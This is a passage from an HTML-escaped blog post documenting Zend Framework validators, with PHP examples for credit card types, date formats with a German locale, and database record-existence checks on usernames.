&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Maestro&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;MAESTRO&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;MasterCard&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;MASTERCARD&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Solo&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;SOLO&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Visa&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;VISA&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Visa Electron&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;VISA&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$valid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Validate_CreditCard&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Zend_Validate_CreditCard&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;AMERICAN_EXPRESS&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Zend_Validate_CreditCard&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;VISA&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Date&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;&quot;&gt;default date format for&amp;nbsp;&lt;span class=&quot;classname&quot;&gt;Zend_Validate_Date&lt;/span&gt;&amp;nbsp;is &#39;yyyy-MM-dd&#39;.&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; color: black; font-family: Arial; font-size: medium; line-height: normal;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Validate_Date&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;format&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;yyyy MMMM&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;locale&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;de&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;2010 Dezember&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns true&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;2010 June&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;     &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Zend_Validate_Db_RecordExists and&amp;nbsp;Zend_Validate_Db_NoRecordExists&lt;br /&gt;
驗證資料庫有無存在這資料&lt;br /&gt;
[Params]&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;adapter: The database adapter which will be used for the search.&lt;br /&gt;
exclude: Sets records which will be excluded from the search.&lt;br /&gt;
field: The database field within this table which will be searched for the record.&lt;br /&gt;
schema: Sets the schema which will be used for the search.&lt;br /&gt;
table: The table which will be searched for the record.&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;//Check no other users have the username&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$user_id&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;   &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$user&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;getId&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Validate_Db_NoRecordExists&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;table&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;users&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;field&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;username&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;exclude&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;field&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; 